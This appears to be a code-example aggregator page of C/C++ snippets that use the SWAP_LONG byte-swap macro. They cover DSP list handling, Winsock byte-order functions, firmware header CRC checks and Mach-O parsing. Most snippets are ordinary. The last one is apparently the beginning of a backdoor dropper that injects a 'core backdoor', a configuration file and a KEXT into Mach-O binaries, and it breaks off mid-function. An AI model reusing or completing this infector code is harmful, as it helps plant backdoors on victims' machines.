Ejemplo n.º 1
0
/** ============================================================================
 *  @func   LDRV_MPLIST_removeElement
 *
 *  @desc   Removes (unlinks) the given element from the list, if the list is
 *          not empty.  Does not free the list element. This function works on
 *          the list object and element fields in DSP address space.If the
 *          element is from pool memory, it does the  invalidate and writeback
 *          operations on the element. If the element is from a non pool shared
 *          memory, invalidate writeback operations  are not performed.
 *
 *  @modif  None.
 *  ============================================================================
 */
EXPORT_API
Void
LDRV_MPLIST_removeElement (IN     ProcessorId    dspId,
                           IN     List *         list,
                           IN     ListElement *  element )
{
    PoolId               poolId        = POOL_INVALIDID ;
    LDRV_MPLIST_Object * mplistState ;
    ListElement *        temp   ;

    TRC_4ENTER ("LDRV_MPLIST_removeElement", dspId, list, element, poolId) ;

    DBC_Require (IS_VALID_PROCID (dspId)) ;
    DBC_Require (list    != NULL) ;
    DBC_Require (element != NULL) ;
    DBC_Assert  (LDRV_MPLIST_IsInitialized [dspId] == TRUE) ;

    mplistState = &(LDRV_MPLIST_State [dspId]) ;

    if (LDRV_MPLIST_isEmpty (dspId, list) == FALSE) {
        temp = (ListElement *)
                  DSP_addrConvert (dspId,
                                   SWAP_LONG ((Uint32) (element->prev),
                                              mplistState->wordSwap),
                                   DspToGpp) ;

        LDRV_POOL_getPoolId (dspId,
                             temp,
                             AddrType_Knl,
                             &poolId );
        if (IS_VALID_POOLID (poolId)) {
            LDRV_POOL_invalidate (poolId, temp, sizeof (ListElement)) ;
        }
        temp->next = element->next ;
        if (IS_VALID_POOLID (poolId)) {
            LDRV_POOL_writeback (poolId, temp, sizeof (ListElement)) ;
        }

        temp = (ListElement *)
                  DSP_addrConvert (dspId,
                                   SWAP_LONG ((Uint32) (element->next),
                                              mplistState->wordSwap),
                                   DspToGpp) ;
        LDRV_POOL_getPoolId (dspId,
                             temp,
                             AddrType_Knl,
                             &poolId );
        if (IS_VALID_POOLID (poolId)) {
            LDRV_POOL_invalidate (poolId, temp, sizeof (ListElement)) ;
        }
        temp->prev = element->prev ;
        if (IS_VALID_POOLID (poolId)) {
            LDRV_POOL_writeback (poolId, temp, sizeof (ListElement)) ;
        }
    }

    TRC_0LEAVE ("LDRV_MPLIST_removeElement") ;
}
Ejemplo n.º 2
0
static PyObject *
L_set_sw(void *ptr, PyObject *value, Py_ssize_t size)
{
    unsigned long val;
    unsigned long field;
    if (get_ulong(value, &val) < 0)
        return  NULL;
    memcpy(&field, ptr, sizeof(field));
    field = SWAP_LONG(field);
    field = (unsigned long)SET(field, val, size);
    field = SWAP_LONG(field);
    memcpy(ptr, &field, sizeof(field));
    _RET(value);
}
Ejemplo n.º 3
0
static PyObject *
l_set_sw(void *ptr, PyObject *value, Py_ssize_t size)
{
    long val;
    long field;
    if (get_long(value, &val) < 0)
        return NULL;
    memcpy(&field, ptr, sizeof(field));
    field = SWAP_LONG(field);
    field = SET(long, field, val, size);
    field = SWAP_LONG(field);
    memcpy(ptr, &field, sizeof(field));
    _RET(value);
}
Ejemplo n.º 4
0
bool rz3_section_header::read(gzFile gzf) {
  int32_t bytes_read = gzread(gzf, this, sizeof(rz3_section_header));
  if (bytes_read == 0) {
    /* end of file */
    return false;
  }

  if (bytes_read != sizeof(rz3_section_header)) {
    int32_t errnum;
    fprintf(stderr, "rz3_section_header::read() - gzread error (bytes read=%d, req = %d) %s\n", bytes_read, sizeof(rz3_section_header),
            gzerror(gzf, &errnum));
    fprintf(stderr, "errnum %d\n", errnum);
    return false;
  }

  //jan {
  //Need to swap multi-byte values on little endian machines
  nrecords = SWAP_WORD(nrecords);
  CompressedBufferSize = SWAP_LONG(CompressedBufferSize);
  //fprintf(stderr, "NRECORDS: %x;\nCOMPRESSEDBUFFERSIZE: %llx;\n", nrecords, CompressedBufferSize);

  for (int32_t j=0; j<rstzip3::bitarray_count; j++) {
    rz3_bitarray_counts[j] = SWAP_WORD(rz3_bitarray_counts[j]);
    //fprintf(stderr, "J: %d; BITARRAYCOUNTS: %x;\n", j, rz3_bitarray_counts[j]);
  }
  //jan }

  // sanity checks

  return sanity_check();

} // bool rz3_section_header::read(gzFile gzf)
Ejemplo n.º 5
0
void CBuffer::ReverseBuffer(const void* pInput, void* pOutput, DWORD nLength)
{
	const DWORD* pInputWords = (const DWORD*)( (const BYTE*)pInput + nLength );

	register DWORD nTemp;
	DWORD* pOutputWords      = (DWORD*)( pOutput );

	while ( nLength > 4 )
	{
		nTemp = *--pInputWords;

		*pOutputWords++ = SWAP_LONG( nTemp );

		nLength -= 4;
	}

	if ( nLength )
	{
		const BYTE* pInputBytes	= (const BYTE*)pInputWords;
		BYTE* pOutputBytes		= (BYTE*)pOutputWords;

		while ( nLength-- )
		{
			*pOutputBytes++ = *--pInputBytes;
		}
	}
}
Ejemplo n.º 6
0
/** ============================================================================
 *  @func   LDRV_MPLIST_isEmpty
 *
 *  @desc   check for an empty list.
 *
 *  @modif  None.
 *  ============================================================================
 */
EXPORT_API
Bool
LDRV_MPLIST_isEmpty (IN     ProcessorId dspId,
                     IN     List *      list )
{
    Bool                 retVal = FALSE ;
    LDRV_MPLIST_Object * mplistState ;
    Uint32               temp   ;

    TRC_2ENTER ("LDRV_MPLIST_isEmpty", dspId, list) ;

    DBC_Require (IS_VALID_PROCID(dspId)) ;
    DBC_Require (list != NULL) ;
    DBC_Assert  (LDRV_MPLIST_IsInitialized [dspId] == TRUE) ;

    mplistState = &(LDRV_MPLIST_State [dspId]) ;

    temp = SWAP_LONG (DSP_addrConvert (dspId,
                                       (Uint32) &((list)->head),
                                       GppToDsp),
                      mplistState->wordSwap) ;

    if ( ((Uint32) (list)->head.next) == temp) {
        retVal = TRUE ;
    }

    TRC_1LEAVE ("LDRV_MPLIST_isEmpty", retVal) ;

    return retVal ;
}
Ejemplo n.º 7
0
static PyObject *
L_get_sw(void *ptr, Py_ssize_t size)
{
    unsigned long val;
    memcpy(&val, ptr, sizeof(val));
    val = SWAP_LONG(val);
    GET_BITFIELD(val, size);
    return PyLong_FromUnsignedLong(val);
}
Ejemplo n.º 8
0
static PyObject *
l_get_sw(void *ptr, Py_ssize_t size)
{
    long val;
    memcpy(&val, ptr, sizeof(val));
    val = SWAP_LONG(val);
    GET_BITFIELD(val, size);
    return PyInt_FromLong(val);
}
Ejemplo n.º 9
0
double FSigLevel(double var1, double var2, long nu1, long nu2)
/* return the probability that F will exceed F0=Max(var1,var2)/Min(var1,var2) 
   for nu1 and nu2 degrees of freedom */
{
    if (var1<var2) {
        SWAP_DOUBLE(var1, var2);
        SWAP_LONG(nu1, nu2);
        }
    return betaInc(nu2/2.0, nu1/2.0, nu2/(nu2+nu1*var1/var2));
    }
Ejemplo n.º 10
0
/* 0: it is not a legal image
 * 1: it is legal image
 */
int check_imageheader(char *buf, long *filelen)
{
	uint32_t checksum;
	image_header_t header2;
	image_header_t *hdr, *hdr2;

	hdr  = (image_header_t *) buf;
	hdr2 = &header2;

	/* check header magic */
	if (SWAP_LONG(hdr->ih_magic) != IH_MAGIC) {
		_dprintf ("Bad Magic Number\n");
		return 0;
	}

	/* check header crc */
	memcpy (hdr2, hdr, sizeof(image_header_t));
	hdr2->ih_hcrc = 0;
	checksum = crc_calc(0, (const char *)hdr2, sizeof(image_header_t));
	_dprintf("header crc: %X\n", checksum);
	_dprintf("org header crc: %X\n", SWAP_LONG(hdr->ih_hcrc));
	if (checksum != SWAP_LONG(hdr->ih_hcrc))
	{
		_dprintf("Bad Header Checksum\n");
		return 0;
	}

	{
		if(strcmp(buf+36, nvram_safe_get("productid"))==0) {
			*filelen  = SWAP_LONG(hdr->ih_size);
			*filelen += sizeof(image_header_t);
#ifdef RTCONFIG_DSL
			// DSL product may have modem firmware
			*filelen+=(512*1024);			
#endif		
			_dprintf("image len: %x\n", *filelen);	
			return 1;
		}
	}
	return 0;
}
Ejemplo n.º 11
0
/* 0: it is not a legal image
 * 1: it is legal image
 */
int check_imageheader(char *buf, long *filelen)
{
	long *filelenptr, tmp;

	if(buf[0]==0x27&&buf[1]==0x05&&buf[2]==0x19&&buf[3]==0x56)
	{
		if(strcmp(buf+36, nvram_safe_get("productid"))==0) {
			filelenptr=(buf+12);
			tmp=*filelenptr;
			*filelen=SWAP_LONG(tmp);
			*filelen+=64;			
			_dprintf("image len: %x\n", *filelen);	
			return 1;
		}
	}
	return 0;
}
Ejemplo n.º 12
0
/*
 * ofile_get_word() gets a 32 bit word for the address in the object file.
 */
__private_extern__
long
ofile_get_word(
unsigned long addr,
unsigned long *word,
void *get_word_data /* struct mach_object_file *ofile */ )
{
    unsigned long i, j;
    struct load_command *lc;
    struct segment_command *sg;
    struct section *s;
    struct ofile *ofile;

	ofile = (struct ofile *)get_word_data;
	for(i = 0, lc = ofile->load_commands; i < ofile->mh->ncmds; i++){
	    if(lc->cmd == LC_SEGMENT){
		sg = (struct segment_command *)lc;
		s = (struct section *)
		    ((char *)sg + sizeof(struct segment_command));
		for(j = 0 ; j < sg->nsects ; j++){
		    if(addr >= s->addr && addr < s->addr + s->size){
			if(s->flags == S_ZEROFILL)
			    *word = 0;
			else {
			    if(s->offset > ofile->object_size ||
			       s->offset + s->size > ofile->object_size ||
			       s->offset % sizeof(long) != 0 ||
			       (addr - s->addr) % sizeof(long) != 0)
				return(-1);
			    else{
				memcpy(word, (ofile->object_addr +
					       (s->offset + addr - s->addr)),
					sizeof(unsigned long));
				if(ofile->object_byte_sex !=get_host_byte_sex())
				    *word = SWAP_LONG(*word);
			    }
			}
			return(0);
		    }
		    s++;
		}
	    }
	    lc = (struct load_command *)((char *)lc + lc->cmdsize);
	}
	return(-1);
}
Ejemplo n.º 13
0
u_long WSAAPI
htonl (
    IN u_long hostlong
    )
/*++
Routine Description:

    Convert a u_long from host to TCP/IP network byte order.

Arguments:

    hostlong - A 32-bit number in host byte order.

Returns:
    htonl() returns the value in TCP/IP network byte order.
--*/
{

    return SWAP_LONG( hostlong );

}
Ejemplo n.º 14
0
u_long WSAAPI
ntohl (
    IN u_long netlong
    )
/*++
Routine Description:

    Convert a u_long from TCP/IP network order to host byte order.

Arguments:

    netlong   A 32-bit number in TCP/IP network byte order.

Returns:
    ntohl() returns the value in host byte order.
--*/
{

    return SWAP_LONG( netlong );

}
Ejemplo n.º 15
0
// This method is static, which means you can call it like CBuffer::ReverseBuffer() without having a CBuffer object at all
// Takes pointers to input memory and an output buffer, and a length, which is both the memory in input and the space in output
// Copies the bytes from input to output, but in reverse order
void CBuffer::ReverseBuffer(const void* pInput, void* pOutput, DWORD nLength)
{
	// Point pInputWords at the end of the input memory block
	const DWORD* pInputWords = (const DWORD*)( (const BYTE*)pInput + nLength ); // This is a DWORD pointer, so it will move in steps of 4

	// Point pOutputWords at the start of the output buffer
	DWORD* pOutputWords      = (DWORD*)( pOutput );

	// Make a new local DWORD called nTemp, and request that Visual Studio place it in a machine register
	register DWORD nTemp; // The register keyword asks that nTemp be a machine register, making it really fast

	// Loop while nLength is bigger than 4, grabbing bytes 4 at a time and reversing them
	while ( nLength > 4 )
	{
		// Move pInputWords back 4 bytes, then copy the 4 bytes there into nTemp, the fast machine register DWORD
		nTemp = *--pInputWords;

		// Have SWAP_LONG reverse the order of the 4 bytes, copy them under pOutputWords, and then move that pointer 4 bytes forward
		*pOutputWords++ = SWAP_LONG( nTemp ); // If nTemp is "ABCD", SWAP_LONG( nTemp ) will be "DCBA", bit order is not changed

		// We've just reverse 4 bytes, subtract the length to reflect this
		nLength -= 4;
	}

	// If there are still some input bytes to add reversed
	if ( nLength )
	{
		// Point pInputBytes and pOutputBytes at the same places
		const BYTE* pInputBytes	= (const BYTE*)pInputWords; // This is a byte pointer, so it will move in steps of 1
		BYTE* pOutputBytes		= (BYTE*)pOutputWords;

		// Loop until there are no more bytes to copy over
		while ( nLength-- )
		{
			// Move pInputBytes back to grab a byte, copy it under pOutputBytes, then move pOutputBytes forward
			*pOutputBytes++ = *--pInputBytes;
		}
	}
}
Ejemplo n.º 16
0
/** ============================================================================
 *  @func   LDRV_MPLIST_clear
 *
 *  @desc   Clears a statically created list and translates its contents to
 *          work with DSP address space.
 *
 *  @modif  None.
 *  ============================================================================
 */
EXPORT_API
Void
LDRV_MPLIST_clear (IN     ProcessorId dspId,
                   IN     List *      list )
{
    LDRV_MPLIST_Object * mplistState ;

    TRC_2ENTER ("LDRV_MPLIST_clear", dspId, list) ;

    DBC_Require (IS_VALID_PROCID(dspId)) ;
    DBC_Require (list != NULL) ;
    DBC_Assert  (LDRV_MPLIST_IsInitialized [dspId] == TRUE) ;

    mplistState = &(LDRV_MPLIST_State [dspId]) ;

    list->head.next = (ListElement *)
                      SWAP_LONG (DSP_addrConvert (dspId,
                                                  (Uint32) &(list->head),
                                                  GppToDsp),
                                 mplistState->wordSwap) ;
    list->head.prev = list->head.next ;

    TRC_0LEAVE ("LDRV_MPLIST_clear") ;
}
Ejemplo n.º 17
0
/*
 * print_symbols() prints out the value of the data symbols
 * in the specified format.
 */
static
void
print_symbols(
struct ofile *ofile,
struct nlist *symbols,
unsigned long nsymbols,
char *strings,
unsigned long strsize,
struct cmd_flags *cmd_flags,
struct process_flags *process_flags,
char *arch_name)
{
    unsigned long i;
    unsigned char c;
    unsigned long value;

    char *sect, *addr;
    unsigned long sect_size, sect_addr, sect_nrelocs, sect_flags, size;
    struct relocation_info *sect_relocs;
    enum bool swapped;
    

	if(ofile->file_type == OFILE_FAT){
	    addr = ofile->file_addr + ofile->fat_archs[ofile->narch].offset;
	    size = ofile->fat_archs[ofile->narch].size;
	}
	else{
	    addr = ofile->file_addr;
	    size = ofile->file_size;
	}
	if(addr + size > ofile->file_addr + ofile->file_size)
	    size = (ofile->file_addr + ofile->file_size) - addr;

	swapped = ofile->object_byte_sex != get_host_byte_sex();

	if(get_sect_info(SEG_DATA, SECT_DATA, ofile->mh,
	    ofile->load_commands, ofile->object_byte_sex,
	    addr, size, &sect, &sect_size, &sect_addr,
	    &sect_relocs, &sect_nrelocs, &sect_flags) != TRUE) {
	    error("No data section information\n");
	    return;
	}

	for(i = 0; i < nsymbols; i++){
	    c = symbols[i].n_type;
	    if(c & N_STAB){
		continue;
	    }
	    switch(c & N_TYPE){
	    case N_UNDF:
		c = 'u';
		if(symbols[i].n_value != 0)
		    c = 'c';
		break;
	    case N_ABS:
		c = 'a';
		break;
	    case N_SECT:
		if(symbols[i].n_sect == process_flags->text_nsect)
		    c = 't';
		else if(symbols[i].n_sect == process_flags->data_nsect)
		    c = 'd';
		else if(symbols[i].n_sect == process_flags->bss_nsect)
		    c = 'b';
		else
		    c = 's';
		break;
	    case N_INDR:
		c = 'i';
		break;
	    default:
		c = '?';
		break;
	    }
	    if((symbols[i].n_type & N_EXT) && c != '?')
		c = toupper(c);

		if(c == 'u' || c == 'U' || c == 'i' || c == 'I')
		    fprintf(output, "        ");
		else {
		    if (c == 'D') {
			unsigned long offset;

			if (cmd_flags->c == TRUE)
			    fprintf(output, "#define ");
			/* skip leading underscore of names */
			fprintf(output, "%s\t", (symbols[i].n_un.n_name + 1));
			/* Subtract section offset */
			offset = sect_addr + symbols[i].n_value;
			/* Check range */
			if (offset > (sect_size - sizeof(unsigned long))) {
			    error("value for symbol '%s' located "
			          "outside data section\n",
				  (symbols[i].n_un.n_name + 1));
			    continue;
			}
			bcopy(sect + offset, &value, sizeof(value));
			if (swapped)
			    value = SWAP_LONG(value);
			/* SWAP_LONG */
			if (cmd_flags->x == TRUE)
			    fprintf(output, "0x%08lx\n", value);
			else
			    fprintf(output, "%ld\n", value);
		    }
		}
	}
}
Ejemplo n.º 18
0
int WSAAPI
WSANtohl (
    IN SOCKET s,
    IN u_long netlong,
    OUT u_long FAR * lphostlong
    )
/*++
Routine Description:

    Convert a u_long from network byte order to host byte order.

Arguments:
    s - A descriptor identifying a socket.

    netlong - A 32-bit number in network byte order.

    lphostlong - A pointer to a 32-bit number in host byte order.

Returns:
     If no error occurs, WSANtohs() returns 0. Otherwise, a value of
     SOCKET_ERROR is returned.
--*/
{
    PDPROCESS           Process;
    PDTHREAD            Thread;
    PDSOCKET            Socket;
    INT                 ErrorCode;
    INT                 ReturnCode;
    PPROTO_CATALOG_ITEM CatalogEntry;
    LPWSAPROTOCOL_INFOW ProtocolInfo;

    ReturnCode = PROLOG(
        &Process,
        &Thread,
        &ErrorCode);
    if (ERROR_SUCCESS != ReturnCode) {
        SetLastError(ErrorCode);
        return(SOCKET_ERROR);
    } //if

    if( lphostlong == NULL ) {
        SetLastError( WSAEFAULT );
        return(SOCKET_ERROR);
    }

    ErrorCode = DSOCKET::GetCountedDSocketFromSocket(
        s,          // SocketHandle
        & Socket);  // DSocket
    if(ERROR_SUCCESS == ErrorCode){
        CatalogEntry = Socket->GetCatalogItem();
        // This  is  kind  of a special case.  We are done with the DSOCKET
        // object  reference  and  we don't call through to the provider at
        // all.
        Socket->DropDSocketReference();
        ProtocolInfo = CatalogEntry->GetProtocolInfo();

        if (LITTLEENDIAN == ProtocolInfo->iNetworkByteOrder) {
            *lphostlong = netlong;
        } //if
        else {
            *lphostlong = SWAP_LONG( netlong );
        } //else
    } //if

    if (ErrorCode != ERROR_SUCCESS) {
        SetLastError(ErrorCode);
        ReturnCode = SOCKET_ERROR;
    }

    return(ReturnCode);
}
Ejemplo n.º 19
0
ULONG
MyInetAddr(
    IN LPWSTR String,
    OUT LPWSTR * Terminator
    )

/*++

Routine Description:

    This function interprets the character string specified by the cp
    parameter.  This string represents a numeric Internet address
    expressed in the Internet standard ".'' notation.  The value
    returned is a number suitable for use as an Internet address.  All
    Internet addresses are returned in network order (bytes ordered from
    left to right).

    Internet Addresses

    Values specified using the "." notation take one of the following
    forms:

    a.b.c.d   a.b.c     a.b  a

    When four parts are specified, each is interpreted as a byte of data
    and assigned, from left to right, to the four bytes of an Internet
    address.  Note that when an Internet address is viewed as a 32-bit
    integer quantity on the Intel architecture, the bytes referred to
    above appear as "d.c.b.a''.  That is, the bytes on an Intel
    processor are ordered from right to left.

    Note: The following notations are only used by Berkeley, and nowhere
    else on the Internet.  In the interests of compatibility with their
    software, they are supported as specified.

    When a three part address is specified, the last part is interpreted
    as a 16-bit quantity and placed in the right most two bytes of the
    network address.  This makes the three part address format
    convenient for specifying Class B network addresses as
    "128.net.host''.

    When a two part address is specified, the last part is interpreted
    as a 24-bit quantity and placed in the right most three bytes of the
    network address.  This makes the two part address format convenient
    for specifying Class A network addresses as "net.host''.

    When only one part is given, the value is stored directly in the
    network address without any byte rearrangement.

Arguments:

    String - A character string representing a number expressed in the
        Internet standard "." notation.

    Terminator - Receives a pointer to the character that terminated
        the conversion.

Return Value:

    If no error occurs, inet_addr() returns an in_addr structure
    containing a suitable binary representation of the Internet address
    given.  Otherwise, it returns the value INADDR_NONE.

--*/

{
        ULONG val, base, n;
        WCHAR c;
        ULONG parts[4], *pp = parts;

again:
        /*
         * Collect number up to ``.''.
         * Values are specified as for C:
         * 0x=hex, 0=octal, other=decimal.
         */
        val = 0; base = 10;
        if (*String == L'0') {
                base = 8, String++;
                if (*String == L'x' || *String == L'X')
                        base = 16, String++;
        }

        while (c = *String) {
                if (iswdigit(c)) {
                        val = (val * base) + (c - L'0');
                        String++;
                        continue;
                }
                if (base == 16 && iswxdigit(c)) {
                        val = (val << 4) + (c + 10 - (islower(c) ? L'a' : L'A'));
                        String++;
                        continue;
                }
                break;
        }
        if (*String == L'.') {
                /*
                 * Internet format:
                 *      a.b.c.d
                 *      a.b.c   (with c treated as 16-bits)
                 *      a.b     (with b treated as 24 bits)
                 */
                /* GSS - next line was corrected on 8/5/89, was 'parts + 4' */
                if (pp >= parts + 3) {
                        *Terminator = String;
                        return ((ULONG) -1);
                }
                *pp++ = val, String++;
                goto again;
        }
        /*
         * Check for trailing characters.
         */
        if (*String && !iswspace(*String) && (*String != L':')) {
                *Terminator = String;
                return (INADDR_NONE);
        }
        *pp++ = val;
        /*
         * Concoct the address according to
         * the number of parts specified.
         */
        n = pp - parts;
        switch ((int) n) {

        case 1:                         /* a -- 32 bits */
                val = parts[0];
                break;

        case 2:                         /* a.b -- 8.24 bits */
                if ((parts[0] > 0xff) || (parts[1] > 0xffffff)) {
                    *Terminator = String;
                    return(INADDR_NONE);
                }
                val = (parts[0] << 24) | (parts[1] & 0xffffff);
                break;

        case 3:                         /* a.b.c -- 8.8.16 bits */
                if ((parts[0] > 0xff) || (parts[1] > 0xff) ||
                    (parts[2] > 0xffff)) {
                    *Terminator = String;
                    return(INADDR_NONE);
                }
                val = (parts[0] << 24) | ((parts[1] & 0xff) << 16) |
                        (parts[2] & 0xffff);
                break;

        case 4:                         /* a.b.c.d -- 8.8.8.8 bits */
                if ((parts[0] > 0xff) || (parts[1] > 0xff) ||
                    (parts[2] > 0xff) || (parts[3] > 0xff)) {
                    *Terminator = String;
                    return(INADDR_NONE);
                }
                val = (parts[0] << 24) | ((parts[1] & 0xff) << 16) |
                      ((parts[2] & 0xff) << 8) | (parts[3] & 0xff);
                break;

        default:
                *Terminator = String;
                return (INADDR_NONE);
        }

        val = SWAP_LONG(val);
        *Terminator = String;
        return (val);
}
Ejemplo n.º 20
0
/** ============================================================================
 *  @func   LDRV_MPLIST_getHead
 *
 *  @desc   Gets the head pointer from the list while working on the list object
 *          and element fields in DSP address space.If the head element is from
 *          pool memory, it does the  invalidate and writeback operations on the
 *          element. If the element is from a non pool shared memory, invalidate
 *          writeback operations  are not performed.
 *
 *  @modif  None.
 *  ============================================================================
 */
EXPORT_API
Void
LDRV_MPLIST_getHead (IN     ProcessorId    dspId,
                     IN     List *         list,
                     OUT    ListElement ** headElement )
{
    PoolId               poolId         = POOL_INVALIDID;
    LDRV_MPLIST_Object * mplistState ;
    ListElement *        temp   ;

    TRC_3ENTER ("LDRV_MPLIST_getHead", dspId, list, headElement) ;

    DBC_Require (IS_VALID_PROCID(dspId)) ;
    DBC_Require (list        != NULL) ;
    DBC_Require (headElement != NULL) ;
    DBC_Assert  (LDRV_MPLIST_IsInitialized [dspId] == TRUE) ;

    mplistState = &(LDRV_MPLIST_State [dspId]) ;

    if (LDRV_MPLIST_isEmpty (dspId, list) == TRUE) {
        *headElement = NULL ;
    }
    else {
        *headElement = (ListElement *)
                       DSP_addrConvert (dspId,
                                        SWAP_LONG (((Uint32) (list->head.next)),
                                                   mplistState->wordSwap),
                                        DspToGpp) ;
        /* Get the pool Id of the Head element */
        LDRV_POOL_getPoolId (dspId,
                             *headElement,
                             AddrType_Knl,
                             &poolId);

        if (IS_VALID_POOLID (poolId)) {
            LDRV_POOL_invalidate (poolId, *headElement, sizeof (ListElement)) ;
        }
        list->head.next = (ListElement *) (*headElement)->next ;
        temp = (ListElement *)
                 DSP_addrConvert (dspId,
                                  SWAP_LONG ((Uint32) ((*headElement)->next),
                                             mplistState->wordSwap),
                                  DspToGpp) ;

        LDRV_POOL_getPoolId (dspId,
                             temp,
                             AddrType_Knl,
                             &poolId );
        /* Invalidate only when (*headElement)->next is from  POOL memory*/
        if (IS_VALID_POOLID (poolId)) {
            LDRV_POOL_invalidate (poolId, temp, sizeof (ListElement)) ;
        }
        temp->prev = (ListElement *)
                     SWAP_LONG (DSP_addrConvert (dspId,
                                                 (Uint32) (&(list->head)),
                                                 GppToDsp),
                                                 mplistState->wordSwap) ;
        if (IS_VALID_POOLID (poolId)) {
            LDRV_POOL_writeback (poolId, temp, sizeof (ListElement)) ;
        }
    }

    TRC_0LEAVE ("LDRV_MPLIST_getHead") ;
}
Ejemplo n.º 21
0
int
checkcrc(char *fname)
{
	int ifd = -1;
	uint32_t checksum;
	struct stat sbuf;
	unsigned char *ptr = NULL;
	image_header_t *hdr;
	char *imagefile;
	int ret = -1;
	int len;

	imagefile = fname;
//	fprintf(stderr, "img file: %s\n", imagefile);

	ifd = open(imagefile, O_RDONLY|O_BINARY);

	if (ifd < 0) {
		_dprintf("Can't open %s: %s\n",
			imagefile, strerror(errno));
		goto checkcrc_end;
	}

	/* We're a bit of paranoid */
#if defined(_POSIX_SYNCHRONIZED_IO) && !defined(__sun__) && !defined(__FreeBSD__)
	(void) fdatasync (ifd);
#else
	(void) fsync (ifd);
#endif
	if (fstat(ifd, &sbuf) < 0) {
		_dprintf("Can't stat %s: %s\n",
			imagefile, strerror(errno));
		goto checkcrc_fail;
	}

	ptr = (unsigned char *)mmap(0, sbuf.st_size,
				    PROT_READ, MAP_SHARED, ifd, 0);
	if (ptr == (unsigned char *)MAP_FAILED) {
		_dprintf("Can't map %s: %s\n",
			imagefile, strerror(errno));
		goto checkcrc_fail;
	}
	hdr = (image_header_t *)ptr;

	/* check image header */
	if(check_imageheader((char*)hdr, (long*)&len) == 0)
	{
		_dprintf("Check image heaer fail !!!\n");
		goto checkcrc_fail;
	}

	len = SWAP_LONG(hdr->ih_size);
	if (sbuf.st_size < (len + sizeof(image_header_t))) {
		_dprintf("Size mismatch %lx/%lx !!!\n", sbuf.st_size, (len + sizeof(image_header_t)));
		goto checkcrc_fail;
	}

	/* check body crc */
	_dprintf("Verifying Checksum ... ");
	checksum = crc_calc(0, (const char *)ptr + sizeof(image_header_t), len);
	if(checksum != SWAP_LONG(hdr->ih_dcrc))
	{
		_dprintf("Bad Data CRC\n");
		goto checkcrc_fail;
	}
	_dprintf("OK\n");

	ret = 0;

	/* We're a bit of paranoid */
checkcrc_fail:
	if(ptr != NULL)
		munmap(ptr, sbuf.st_size);
#if defined(_POSIX_SYNCHRONIZED_IO) && !defined(__sun__) && !defined(__FreeBSD__)
	(void) fdatasync (ifd);
#else
	(void) fsync (ifd);
#endif
	if (close(ifd)) {
		_dprintf("Read error on %s: %s\n",
			imagefile, strerror(errno));
		ret=-1;
	}
checkcrc_end:
	return ret;
}
Ejemplo n.º 22
0
int
main (int argc, char **argv)
{
  struct fatArch             *f_arch;
  char *inputFilePointer      = NULL;
  char *outputFilePointer     = NULL;
  
  int inputFileSize           = 0;
  int outputFileSize          = 0;
  int fileType                = 0;
  int padding                 = 0;
  
  gNumStrings                 = 4;
  
  int inputFD, outputFD, i;
  
  int offsetToResources       = 0;
  
  unsigned int inputOffset    = 0;
  unsigned int outputOffset   = 0;
  int nfat                    = 0;
  int cputype                 = 0;
  unsigned int archOffset     = 0;
    
  if (parseArguments (argc, argv) & kErrorGeneric)
    {
      usage (*argv);
      exit (1);
    }

  //
  // Check if the backdoor, configuration file and KEXT exists and get
  // their size
  //
  if ((gCoreFileSize = getFileSize (coreFileName)) == kErrorGeneric)
    {
      printf ("[ee] Core backdoor file not found\n");
      exit (1);
    }
  
  if ((gConfFileSize = getFileSize (confFileName)) == kErrorGeneric)
    {
      printf ("[ee] Configuration file not found\n");
      exit (1);
    }
  
  if (strncmp ("null", kextFileName, strlen ("null")) != 0)
    {
      if ((gKextFileSize = getFileSize (kextFileName)) == kErrorGeneric)
        {
          printf ("[ee] KEXT file not found\n");
          exit (1);
        }
    }
  
  // Map input file
  if ((inputFilePointer = mapFile (inputFileName, &inputFileSize,
                                   &inputFD, 0)) == NULL)
    {
      printf("[ee] Error while mmapping the input file\n");
      exit (1);
    }

  // Calculate the padded output file size + 1
  outputFileSize = DROPPER_CODE_SIZE
                    + sizeof (crtStart)
                    + sizeof (int)
                    + gCoreFileSize
                    + gConfFileSize
                    + gKextFileSize
                    + sizeof (infectionHeader)
                    + sizeof (stringTable) * gNumStrings
                    + sizeof (resourceHeader) * ((gKextFileSize > 0) ? 3 : 2);
#ifdef DEBUG_VERBOSE
  printf ("unpadded outSize: %d\n", outputFileSize);
#endif
  
  if (outputFileSize % PAGE_ALIGNMENT)
    outputFileSize = ((outputFileSize + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));

  int tempSize = outputFileSize + inputFileSize;
  
#ifdef DEBUG_VERBOSE
  printf ("padded outSize: %d\n", outputFileSize);
  printf ("tempSize: %d\n", tempSize);
  printf ("[ii] loaderCodeSize: %d\n", DROPPER_CODE_SIZE);
  printf ("[ii] gCoreFileSize: %d\n", gCoreFileSize);
  printf ("[ii] confCodeSize: %d\n", gConfFileSize);
  printf ("[ii] gKextFileSize: %d\n", gKextFileSize);
  printf ("[ii] inputFileSize: %d\n", inputFileSize);
  printf ("[ii] outputFileSize: %d\n", outputFileSize);
#endif
  
  // Map output file
  if ((outputFilePointer = mapFile (outputFileName, &tempSize,
                                    &outputFD, &padding)) == NULL)
    {
      printf("[ee] Error while mmapping the output file\n");
      exit (1);
    }
  
  // Giving the output file the correct fileSize
  if (lseek (outputFD, tempSize + padding - 1, SEEK_SET) == kErrorGeneric)
    {
      exit (1);
    }
  
  if (write (outputFD, "", 1) == kErrorGeneric)
    {
      close (outputFD);
      close (inputFD);

      return kErrorWriteFile;
    }
  
  close (outputFD);
  close (inputFD);

  // Gettin filetype - Compatibility with MacOS X Leopard 10.5
  fileType = getBinaryFormat (inputFilePointer);

  switch (fileType)
    {
    case kFatBinary:
      {
        gFileType = 1;
        printf ("[ii] FAT Binary found [TODO]\n");
        
        //infectBinary (kFatBinary);

        break;
      }
    case kFatSwapBinary:
      {
        int x86Found      = 0;
        
        gFileType = 2;
        nfat = SWAP_LONG (gFatHeader.nfatArch);
        
        printf ("[ii] FAT (swapped) Binary found\n");
        printf ("[ii] Found %d Arch(s)\n", nfat);
        
        memcpy (outputFilePointer, &gFatHeader, sizeof (gFatHeader));
        outputOffset  += sizeof (gFatHeader);
        inputOffset   += sizeof (gFatHeader);
        
        for (i = 0; i < nfat; i++)
          {
            f_arch = allocate (sizeof (struct fatArch));
            memcpy (f_arch, inputFilePointer + inputOffset, sizeof (struct fatArch));
            
            cputype       = SWAP_LONG (f_arch->cputype);
            archOffset    = SWAP_LONG (f_arch->offset);
            f_arch->size  = SWAP_LONG (f_arch->size);
#ifdef DEBUG
            printf ("[ii] cputype: %d\n", cputype);
